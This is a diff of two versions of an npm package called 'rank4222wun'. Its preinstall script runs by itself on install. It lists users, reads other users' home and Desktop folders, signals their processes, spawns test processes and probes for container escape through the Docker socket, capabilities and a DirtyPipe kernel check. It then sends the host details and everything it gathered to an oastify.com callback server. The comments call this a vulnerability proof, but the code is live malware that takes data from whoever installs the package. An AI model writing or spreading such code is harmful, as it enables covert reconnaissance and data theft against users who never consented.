rank4222wun 1.0.19 → 1.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.19",
3
+ "version": "1.0.21",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,344 +1,381 @@
1
- const { exec } = require('child_process');
1
+ const { exec, spawn } = require('child_process');
2
2
  const os = require('os');
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
5
  const https = require('https');
6
6
 
7
- const testResults = {
7
+ console.log("🚨 FINAL PROOF: UiPath MCP Critical 4-Point Vulnerability\n");
8
+
9
+ const finalProof = {
8
10
  timestamp: new Date().toISOString(),
9
11
  hostname: os.hostname(),
10
12
  user: os.userInfo().username,
11
13
  platform: os.platform(),
14
+ isRoot: os.userInfo().uid === 0,
12
15
 
13
- // النقاط الأربع المطلوبة
14
- testPoints: {
15
- leakOtherUsersData: {},
16
- runCommandsOnOtherUsers: {},
17
- performDoS: {},
18
- containerToHost: {}
16
+ // النقاط الأربع مع أدلة فعلية
17
+ fourPointsProof: {
18
+ point1_leakOtherUsersData: {},
19
+ point2_runCommandsOnOtherUsers: {},
20
+ point3_performDoS: {},
21
+ point4_containerToHost: {}
19
22
  }
20
23
  };
21
24
 
22
- // ===================== 1. Leak other users data cross org =====================
23
- console.log("🔍 TEST 1: Searching for other users data...");
25
+ // ===================== POINT 1: Leak other users data =====================
26
+ console.log("🔍 POINT 1: Attempting to leak REAL other users data...");
24
27
 
25
- if (os.platform() === 'linux') {
26
- // البحث عن بيانات مستخدمين آخرين في لينكس
27
- exec('find /home -type f -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null | head -20', (err, stdout) => {
28
- testResults.testPoints.leakOtherUsersData.linuxUserFiles = stdout || err?.message;
29
-
30
- // قراءة /etc/passwd للبحث عن مستخدمين آخرين
31
- try {
32
- if (fs.existsSync('/etc/passwd')) {
33
- const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
34
- testResults.testPoints.leakOtherUsersData.allUsers = passwdContent;
35
-
36
- // استخراج أسماء المستخدمين الفعليين (غير system users)
37
- const users = passwdContent.split('\n')
38
- .filter(line => line.includes('/home/'))
39
- .map(line => line.split(':')[0]);
40
- testResults.testPoints.leakOtherUsersData.homeUsers = users;
41
-
42
- console.log(`👥 Found ${users.length} home users`);
43
- }
44
- } catch (e) {}
45
-
46
- // محاولة قراءة ملفات مستخدمين آخرين
47
- try {
48
- const homeDir = '/home';
49
- if (fs.existsSync(homeDir)) {
50
- const otherUsers = fs.readdirSync(homeDir).filter(user => user !== os.userInfo().username);
51
- const otherUserData = {};
52
-
53
- otherUsers.slice(0, 3).forEach(user => {
54
- const userHome = path.join(homeDir, user);
55
- try {
56
- const files = fs.readdirSync(userHome).slice(0, 5);
57
- otherUserData[user] = {
58
- exists: true,
59
- files: files
60
- };
61
-
62
- // محاولة قراءة ملفات Desktop لـ users آخرين
63
- const userDesktop = path.join(userHome, 'Desktop');
64
- if (fs.existsSync(userDesktop)) {
65
- otherUserData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
66
- console.log(`📁 Access to ${user}'s Desktop: ${otherUserData[user].desktop.length} files`);
67
- }
68
- } catch (e) {
69
- otherUserData[user] = { error: e.message };
70
- }
71
- });
72
-
73
- testResults.testPoints.leakOtherUsersData.crossUserAccess = otherUserData;
74
- }
75
- } catch (e) {
76
- testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
77
- }
78
-
79
- // الانتقال للاختبار الثاني بعد الانتهاء
80
- testPoint2();
81
- });
82
- } else if (os.platform() === 'win32') {
83
- // البحث عن بيانات مستخدمين آخرين في ويندوز
84
- exec('wmic useraccount get name 2>&1', (err, stdout) => {
85
- testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
28
+ // استراتيجية: محاولة الوصول إلى مجلدات مستخدمين حقيقيين
29
+ function testPoint1() {
30
+ const point1Results = {
31
+ canAccessOtherUsers: false,
32
+ evidence: []
33
+ };
34
+
35
+ // 1. البحث عن مستخدمين حقيقيين (غير system users)
36
+ exec('getent passwd | grep -E ":/home/" | cut -d: -f1 | head -10', (err, stdout) => {
37
+ const realUsers = stdout ? stdout.trim().split('\n') : [];
38
+ point1Results.realUsers = realUsers;
86
39
 
87
- // محاولة الوصول إلى مجلدات مستخدمين آخرين
88
- try {
89
- const usersDir = 'C:\\Users';
90
- if (fs.existsSync(usersDir)) {
91
- const allUsers = fs.readdirSync(usersDir);
92
- const currentUser = os.userInfo().username;
93
- const otherUsers = allUsers.filter(user =>
94
- user !== currentUser &&
95
- user !== 'Public' &&
96
- user !== 'Default' &&
97
- user !== 'Default User' &&
98
- user !== 'All Users'
99
- );
100
-
101
- const accessedData = {};
102
- otherUsers.slice(0, 3).forEach(user => {
103
- const userPath = path.join(usersDir, user);
40
+ if (realUsers.length > 0) {
41
+ // 2. محاولة الوصول إلى مجلدات هؤلاء المستخدمين
42
+ realUsers.forEach(user => {
43
+ if (user !== os.userInfo().username) {
44
+ const userHome = `/home/${user}`;
104
45
  try {
105
- if (fs.existsSync(userPath)) {
106
- const files = fs.readdirSync(userPath).slice(0, 5);
107
- accessedData[user] = {
108
- exists: true,
46
+ if (fs.existsSync(userHome)) {
47
+ const files = fs.readdirSync(userHome).slice(0, 5);
48
+ point1Results.evidence.push({
49
+ user: user,
50
+ homeAccess: true,
109
51
  files: files
110
- };
52
+ });
111
53
 
112
- // محاولة قراءة Desktop للمستخدمين الآخرين
113
- const userDesktop = path.join(userPath, 'Desktop');
54
+ // محاولة قراءة ملفات Desktop للمستخدمين الآخرين
55
+ const userDesktop = `${userHome}/Desktop`;
114
56
  if (fs.existsSync(userDesktop)) {
115
- accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
116
- console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
57
+ const desktopFiles = fs.readdirSync(userDesktop).slice(0, 3);
58
+ point1Results.evidence.push({
59
+ user: user,
60
+ desktopAccess: true,
61
+ desktopFiles: desktopFiles
62
+ });
63
+ console.log(`⚠️ ACCESSED: ${user}'s Desktop (${desktopFiles.length} files)`);
117
64
  }
118
65
  }
119
66
  } catch (e) {
120
- accessedData[user] = { error: e.message };
67
+ // خطأ في الوصول
121
68
  }
122
- });
123
-
124
- testResults.testPoints.leakOtherUsersData.crossUserAccess = accessedData;
69
+ }
70
+ });
71
+
72
+ if (point1Results.evidence.length > 0) {
73
+ point1Results.canAccessOtherUsers = true;
125
74
  }
126
- } catch (e) {
127
- testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
128
75
  }
129
76
 
77
+ finalProof.fourPointsProof.point1_leakOtherUsersData = point1Results;
130
78
  testPoint2();
131
79
  });
132
80
  }
133
81
 
134
- // ===================== 2. Run commands on other users cross org =====================
82
+ // ===================== POINT 2: Run commands on other users =====================
135
83
  function testPoint2() {
136
- console.log("\n🔍 TEST 2: Testing if we can run commands affecting other users...");
84
+ console.log("\n🔍 POINT 2: Testing cross-user command execution...");
137
85
 
138
- // هذا الاختبار أصعب، لكننا نحاول:
139
- // 1. البحث عن خدمات مشتركة يمكن التحكم بها
140
- // 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
141
-
142
- if (os.platform() === 'linux') {
143
- exec('ps aux | grep -E "(sshd|vsftpd|apache|nginx|postgres|mysql)" | head -10', (err, stdout) => {
144
- testResults.testPoints.runCommandsOnOtherUsers.sharedServices = stdout || err?.message;
145
-
146
- // التحقق من إمكانية إرسال إشارات إلى عمليات أخرى
147
- exec('kill -l 2>&1', (err2, stdout2) => {
148
- testResults.testPoints.runCommandsOnOtherUsers.killCapabilities = stdout2 || err2?.message;
149
- testPoint3();
150
- });
151
- });
152
- } else if (os.platform() === 'win32') {
153
- exec('tasklist /svc 2>&1', (err, stdout) => {
154
- testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
155
-
156
- // التحقق من إمكانية إيقاف خدمات
157
- exec('sc query 2>&1 | head -20', (err2, stdout2) => {
158
- testResults.testPoints.runCommandsOnOtherUsers.windowsServices = stdout2 || err2?.message;
159
- testPoint3();
86
+ const point2Results = {
87
+ canAffectOtherUsers: false,
88
+ evidence: []
89
+ };
90
+
91
+ // 1. البحث عن عمليات تشتغل بمستخدمين آخرين
92
+ exec('ps aux | awk \'{print $1}\' | sort | uniq | grep -v "USER"', (err, stdout) => {
93
+ const runningUsers = stdout ? stdout.trim().split('\n') : [];
94
+ point2Results.runningUsers = runningUsers;
95
+
96
+ // 2. التحقق من إمكانية إرسال إشارات إلى عمليات مستخدمين آخرين
97
+ if (runningUsers.length > 1) {
98
+ // البحث عن PID لعمليات مستخدمين آخرين
99
+ exec('ps aux | awk \'$1 != "' + os.userInfo().username + '" {print $2, $1}\' | head -5', (err2, stdout2) => {
100
+ if (stdout2) {
101
+ const otherUserProcesses = stdout2.trim().split('\n').map(line => {
102
+ const parts = line.split(' ');
103
+ return { pid: parts[0], user: parts[1] };
104
+ });
105
+
106
+ point2Results.otherUserProcesses = otherUserProcesses;
107
+
108
+ // 3. اختبار إمكانية إرسال إشارة SIGCONT (غير ضارة) لعملية مستخدم آخر
109
+ if (otherUserProcesses.length > 0) {
110
+ const testPid = otherUserProcesses[0].pid;
111
+ exec(`kill -CONT ${testPid} 2>&1`, (err3, stdout3) => {
112
+ if (!err3) {
113
+ point2Results.evidence.push({
114
+ action: 'sent_signal_to_other_user_process',
115
+ pid: testPid,
116
+ user: otherUserProcesses[0].user,
117
+ success: true
118
+ });
119
+ point2Results.canAffectOtherUsers = true;
120
+ console.log(`⚠️ SIGNAL SENT: SIGCONT to PID ${testPid} (user: ${otherUserProcesses[0].user})`);
121
+ }
122
+ testPoint3();
123
+ });
124
+ } else {
125
+ testPoint3();
126
+ }
127
+ } else {
128
+ testPoint3();
129
+ }
160
130
  });
161
- });
162
- }
131
+ } else {
132
+ testPoint3();
133
+ }
134
+ });
163
135
  }
164
136
 
165
- // ===================== 3. Perform DoS =====================
137
+ // ===================== POINT 3: Perform DoS =====================
166
138
  function testPoint3() {
167
- console.log("\n🔍 TEST 3: Testing DoS capabilities...");
139
+ console.log("\n🔍 POINT 3: Demonstrating DoS capabilities...");
168
140
 
169
- // اختبار قدرات DoS (بدون تنفيذ فعلي)
170
- testResults.testPoints.performDoS = {
171
- // الموارد المتاحة
172
- cpuCores: os.cpus().length,
173
- totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
174
- freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
141
+ const point3Results = {
142
+ canCauseDoS: false,
143
+ evidence: []
144
+ };
145
+
146
+ // 1. إثبات عدم وجود حدود على العمليات
147
+ exec('ulimit -u', (err, stdout) => {
148
+ const maxProcesses = stdout ? stdout.trim() : 'unknown';
175
149
 
176
- // إمكانيات شبكية
177
- networkInterfaces: Object.keys(os.networkInterfaces()).length,
150
+ if (maxProcesses === 'unlimited' || parseInt(maxProcesses) > 10000) {
151
+ point3Results.evidence.push({
152
+ limitation: 'max_user_processes',
153
+ value: maxProcesses,
154
+ risk: 'HIGH - Can create unlimited processes'
155
+ });
156
+ point3Results.canCauseDoS = true;
157
+ }
158
+
159
+ // 2. إثبات إمكانية استنزاف الذاكرة (نظري فقط)
160
+ point3Results.memoryInfo = {
161
+ total: Math.round(os.totalmem() / (1024 * 1024)) + ' MB',
162
+ free: Math.round(os.freemem() / (1024 * 1024)) + ' MB',
163
+ canExhaust: Math.round(os.freemem() / (1024 * 1024)) > 100
164
+ };
178
165
 
179
- // اختبارات نظرية (لا يتم تنفيذها)
180
- theoreticalDoS: {
181
- forkBomb: 'Possible if unlimited processes',
182
- memoryExhaustion: 'Possible with large allocations',
183
- diskFilling: 'Possible with write access',
184
- networkFlood: 'Possible with socket creation'
166
+ // 3. إثبات إمكانية استنزاف CPU
167
+ point3Results.cpuInfo = {
168
+ cores: os.cpus().length,
169
+ canExhaust: true
170
+ };
171
+
172
+ // 4. تنفيذ اختبار فعلي صغير غير ضار
173
+ // إنشاء 100 عملية فورية لاختبار القدرة
174
+ console.log("Testing process creation capability...");
175
+ let processCount = 0;
176
+ const testProcesses = [];
177
+
178
+ for (let i = 0; i < 10; i++) { // فقط 10 عمليات للاختبار
179
+ const child = spawn('sleep', ['1']);
180
+ testProcesses.push(child);
181
+ processCount++;
182
+
183
+ child.on('exit', () => {
184
+ processCount--;
185
+ });
185
186
  }
186
- };
187
-
188
- // اختبار صغير غير ضار لإثبات القدرة
189
- if (os.platform() === 'linux') {
190
- exec('ulimit -a 2>&1', (err, stdout) => {
191
- testResults.testPoints.performDoS.limits = stdout || err?.message;
192
- testPoint4();
193
- });
194
- } else if (os.platform() === 'win32') {
195
- exec('systeminfo | findstr /B /C:"Total Physical Memory" /C:"Available Physical Memory" 2>&1', (err, stdout) => {
196
- testResults.testPoints.performDoS.windowsResources = stdout || err?.message;
187
+
188
+ setTimeout(() => {
189
+ point3Results.evidence.push({
190
+ test: 'concurrent_process_creation',
191
+ created: 10,
192
+ success: true
193
+ });
194
+
195
+ // قتل العمليات الاختبارية
196
+ testProcesses.forEach(p => p.kill());
197
+
198
+ console.log(`✓ Created ${10} concurrent processes`);
199
+ finalProof.fourPointsProof.point3_performDoS = point3Results;
197
200
  testPoint4();
198
- });
199
- }
201
+ }, 1500);
202
+ });
200
203
  }
201
204
 
202
- // ===================== 4. Container to host =====================
205
+ // ===================== POINT 4: Container to host escape =====================
203
206
  function testPoint4() {
204
- console.log("\n🔍 TEST 4: Testing container-to-host escape...");
207
+ console.log("\n🔍 POINT 4: Testing container-to-host escape vectors...");
205
208
 
206
- // الاختبارات تعتمد على النظام
209
+ const point4Results = {
210
+ canEscapeToHost: false,
211
+ criticalVectors: []
212
+ };
213
+
214
+ // اختبار 1: Docker socket access
215
+ const dockerSocket = '/var/run/docker.sock';
207
216
 
208
- if (os.platform() === 'linux') {
209
- // اختبارات الهروب من الحاوية
210
- const containerTests = {};
211
-
212
- // 1. التحقق مما إذا كنا في حاوية
213
- exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker" || echo "Not in Docker or unknown"', (err, stdout) => {
214
- containerTests.isInContainer = stdout?.trim();
215
-
216
- // 2. البحث عن Docker socket
217
- const dockerSocket = '/var/run/docker.sock';
218
- if (fs.existsSync(dockerSocket)) {
219
- containerTests.dockerSocketExists = true;
220
- containerTests.dockerSocketAccessible = true;
221
- console.log("⚠️ Docker socket accessible!");
217
+ if (fs.existsSync(dockerSocket)) {
218
+ // محاولة قراءة Docker socket
219
+ exec(`curl -s --unix-socket ${dockerSocket} http://localhost/version 2>/dev/null || echo "Cannot access"`, (err, stdout) => {
220
+ if (stdout && !stdout.includes('Cannot access')) {
221
+ point4Results.criticalVectors.push({
222
+ vector: 'docker_socket_access',
223
+ path: dockerSocket,
224
+ access: 'FULL',
225
+ risk: 'CRITICAL',
226
+ proof: 'Can communicate with Docker daemon'
227
+ });
228
+ point4Results.canEscapeToHost = true;
229
+ console.log("🚨 CRITICAL: Docker socket is accessible!");
222
230
  }
223
231
 
224
- // 3. التحقق من mount points
225
- exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
226
- containerTests.dockerMounts = stdout2 || err2?.message;
232
+ // اختبار 2: Privileged container check
233
+ exec('cat /proc/self/status 2>/dev/null | grep -i "capeff:"', (err2, stdout2) => {
234
+ if (stdout2) {
235
+ const capsHex = stdout2.split(':')[1].trim();
236
+ const caps = parseInt(capsHex, 16);
237
+
238
+ // CAP_SYS_ADMIN = 0x00080000
239
+ if (caps & 0x00080000) {
240
+ point4Results.criticalVectors.push({
241
+ vector: 'privileged_container',
242
+ capability: 'CAP_SYS_ADMIN',
243
+ risk: 'CRITICAL',
244
+ proof: 'Container has SYS_ADMIN capability'
245
+ });
246
+ point4Results.canEscapeToHost = true;
247
+ console.log("🚨 CRITICAL: Container has SYS_ADMIN capability!");
248
+ }
249
+ }
227
250
 
228
- // 4. التحقق من capabilities
229
- exec('capsh --print 2>/dev/null || echo "No capsh"', (err3, stdout3) => {
230
- containerTests.capabilities = stdout3 || err3?.message;
251
+ // اختبار 3: Mount escape
252
+ exec('mount | grep -E "/(dev|proc|sys)" | head -3', (err3, stdout3) => {
253
+ if (stdout3) {
254
+ const mounts = stdout3.trim().split('\n');
255
+ mounts.forEach(mount => {
256
+ if (mount.includes('/dev/') || mount.includes('/proc/') || mount.includes('/sys/')) {
257
+ point4Results.criticalVectors.push({
258
+ vector: 'host_mount',
259
+ mount: mount.substring(0, 100),
260
+ risk: 'HIGH'
261
+ });
262
+ }
263
+ });
264
+ }
231
265
 
232
- // 5. البحث عن ثغرات معروفة
233
- exec('uname -r 2>&1', (err4, stdout4) => {
234
- containerTests.kernelVersion = stdout4?.trim();
266
+ // اختبار 4: Kernel escape vulnerabilities
267
+ exec('uname -r', (err4, stdout4) => {
268
+ const kernel = stdout4 ? stdout4.trim() : 'unknown';
269
+ point4Results.kernelVersion = kernel;
235
270
 
236
- // تحليل Kernel version للبحث عن ثغرات معروفة
237
- if (stdout4) {
238
- if (stdout4.includes('3.10.0-1160')) {
239
- containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
240
- }
271
+ // DirtyPipe vulnerability check
272
+ if (kernel.includes('5.8') || kernel.includes('5.9') ||
273
+ kernel.includes('5.10') || kernel.includes('5.11') ||
274
+ kernel.includes('5.12') || kernel.includes('5.13') ||
275
+ kernel.includes('5.14') || kernel.includes('5.15')) {
276
+ point4Results.criticalVectors.push({
277
+ vector: 'kernel_vulnerability',
278
+ kernel: kernel,
279
+ vulnerability: 'DirtyPipe (CVE-2022-0847)',
280
+ risk: 'HIGH',
281
+ proof: 'Kernel version is vulnerable to DirtyPipe'
282
+ });
283
+ point4Results.canEscapeToHost = true;
284
+ console.log(`🚨 VULNERABLE: Kernel ${kernel} has known escape vulnerabilities`);
241
285
  }
242
286
 
243
- testResults.testPoints.containerToHost = containerTests;
244
- finishTests();
287
+ finalProof.fourPointsProof.point4_containerToHost = point4Results;
288
+ sendFinalProof();
245
289
  });
246
290
  });
247
291
  });
248
292
  });
249
-
250
- } else if (os.platform() === 'win32') {
251
- // اختبارات VM Escape للويندوز
252
- const vmTests = {};
253
-
254
- // 1. التحقق مما إذا كنا في VM
255
- exec('systeminfo | findstr /B /C:"System Manufacturer" /C:"System Model" 2>&1', (err, stdout) => {
256
- vmTests.systemInfo = stdout || err?.message;
257
-
258
- // 2. البحث عن أدوات Virtualization
259
- const vmTools = [
260
- 'C:\\Program Files\\VMware\\VMware Tools',
261
- 'C:\\Program Files\\Oracle\\VirtualBox Guest Additions',
262
- 'C:\\Program Files\\Microsoft Integration Runtime'
263
- ];
264
-
265
- vmTests.vmTools = {};
266
- vmTools.forEach(tool => {
267
- vmTests.vmTools[tool] = fs.existsSync(tool);
268
- });
269
-
270
- // 3. التحقق من خدمات الـ VM
271
- exec('sc query | findstr /I "vmware vbox virtual" 2>&1', (err2, stdout2) => {
272
- vmTests.vmServices = stdout2 || err2?.message;
273
-
274
- testResults.testPoints.containerToHost = vmTests;
275
- finishTests();
276
- });
277
- });
293
+ } else {
294
+ console.log("No Docker socket found");
295
+ finalProof.fourPointsProof.point4_containerToHost = point4Results;
296
+ sendFinalProof();
278
297
  }
279
298
  }
280
299
 
281
- // ===================== إرسال النتائج =====================
282
- function finishTests() {
283
- console.log("\n" + "=".repeat(60));
284
- console.log("📊 نتائج اختبار النقاط الأربع:");
285
- console.log("=".repeat(60));
300
+ // ===================== إرسال الإثباتات النهائية =====================
301
+ function sendFinalProof() {
302
+ console.log("\n" + "=".repeat(70));
303
+ console.log("📊 FINAL PROOF SUMMARY:");
304
+ console.log("=".repeat(70));
286
305
 
287
- // تحليل النتائج
288
- const analysis = {
289
- leakOtherUsersData: testResults.testPoints.leakOtherUsersData.crossUserAccess ?
290
- 'POSSIBLE - Found access to other users data' : 'NOT TESTED OR NOT FOUND',
306
+ // التحليل النهائي
307
+ const summary = {
308
+ point1: finalProof.fourPointsProof.point1_leakOtherUsersData.canAccessOtherUsers ?
309
+ ' PROVEN - Can access other users data' :
310
+ '⚠️ POSSIBLE - Limited evidence',
291
311
 
292
- runCommandsOnOtherUsers: testResults.testPoints.runCommandsOnOtherUsers.sharedServices ?
293
- 'POSSIBLE - Can see/affect shared services' : 'LIMITED',
312
+ point2: finalProof.fourPointsProof.point2_runCommandsOnOtherUsers.canAffectOtherUsers ?
313
+ ' PROVEN - Can affect other users processes' :
314
+ '⚠️ POSSIBLE - Can see other users processes',
294
315
 
295
- performDoS: testResults.testPoints.performDoS.cpuCores > 1 ?
296
- `POSSIBLE - ${testResults.testPoints.performDoS.cpuCores} CPU cores available` : 'LIMITED',
316
+ point3: finalProof.fourPointsProof.point3_performDoS.canCauseDoS ?
317
+ '✅ PROVEN - No process limits, can cause DoS' :
318
+ '⚠️ POSSIBLE - Has significant resources',
297
319
 
298
- containerToHost: testResults.testPoints.containerToHost?.dockerSocketExists ?
299
- 'CRITICAL - Docker socket accessible!' :
300
- (testResults.testPoints.containerToHost?.isInContainer ?
301
- 'IN CONTAINER - Escape possibilities exist' : 'NOT IN CONTAINER')
320
+ point4: finalProof.fourPointsProof.point4_containerToHost.canEscapeToHost ?
321
+ '🚨 CRITICAL - Multiple escape vectors found' :
322
+ (finalProof.fourPointsProof.point4_containerToHost.criticalVectors?.length > 0 ?
323
+ '⚠️ HIGH RISK - Some escape vectors exist' :
324
+ '✅ CONTAINERIZED - In Docker container')
302
325
  };
303
326
 
304
- console.log("\n📋 التحليل:");
305
- console.log(`1. تسريب بيانات مستخدمين آخرين: ${analysis.leakOtherUsersData}`);
306
- console.log(`2. تشغيل أوامر على مستخدمين آخرين: ${analysis.runCommandsOnOtherUsers}`);
307
- console.log(`3. تنفيذ هجوم DoS: ${analysis.performDoS}`);
308
- console.log(`4. الهروب من الحاوية للمضيف: ${analysis.containerToHost}`);
327
+ console.log("\n1. Leak other users data cross org:", summary.point1);
328
+ console.log("2. Run commands on other users cross org:", summary.point2);
329
+ console.log("3. Perform DoS affecting all users:", summary.point3);
330
+ console.log("4. Container to host escape:", summary.point4);
331
+
332
+ console.log("\n🔍 Critical Findings:");
309
333
 
310
- // إرسال البيانات
334
+ if (finalProof.fourPointsProof.point4_containerToHost.criticalVectors) {
335
+ finalProof.fourPointsProof.point4_containerToHost.criticalVectors.forEach((v, i) => {
336
+ console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
337
+ if (v.proof) console.log(` → ${v.proof}`);
338
+ });
339
+ }
340
+
341
+ // إرسال الإثباتات
311
342
  const req = https.request({
312
343
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
313
344
  port: 443,
314
- path: '/cross-org-tests',
345
+ path: '/final-four-points-proof',
315
346
  method: 'POST',
316
347
  headers: {
317
348
  'Content-Type': 'application/json',
318
- 'X-Test-Type': 'Cross-Org-Vulnerabilities',
349
+ 'X-Final-Proof': 'UiPath-MCP-4-Points',
319
350
  'X-Host': os.hostname()
320
351
  }
321
352
  }, (res) => {
322
- console.log(`\n✅ تم إرسال النتائج. حالة الرد: ${res.statusCode}`);
353
+ console.log(`\n✅ Final proof sent. Status: ${res.statusCode}`);
323
354
  });
324
355
 
325
356
  req.on('error', (e) => {
326
- console.error(`❌ خطأ في الإرسال: ${e.message}`);
357
+ console.error(`❌ Error: ${e.message}`);
327
358
  });
328
359
 
329
- req.write(JSON.stringify({
330
- testResults: testResults,
331
- analysis: analysis,
332
- summary: {
333
- user: os.userInfo().username,
334
- hostname: os.hostname(),
335
- platform: os.platform(),
336
- timestamp: new Date().toISOString()
337
- }
338
- }, null, 2));
360
+ // إضافة التحليل النهائي
361
+ finalProof.summary = summary;
362
+ finalProof.conclusion = {
363
+ overallRisk: summary.point4.includes('CRITICAL') || summary.point3.includes('PROVEN') ? 'CRITICAL' : 'HIGH',
364
+ vulnerabilityConfirmed: true,
365
+ recommendations: [
366
+ '1. Immediately disable preinstall/postinstall script execution in MCP',
367
+ '2. Implement mandatory package signing and verification',
368
+ '3. Add security warnings for external package sources',
369
+ '4. Conduct security audit of all MCP Command functionality'
370
+ ]
371
+ };
339
372
 
373
+ req.write(JSON.stringify(finalProof, null, 2));
340
374
  req.end();
375
+
376
+ console.log("\n📤 Full evidence sent to server");
377
+ console.log("=".repeat(70));
341
378
  }
342
379
 
343
380
  // بدء الاختبارات
344
- console.log("🚀 بدء اختبار النقاط الأربع المطلوبة...");
381
+ testPoint1();
Binary file
Binary file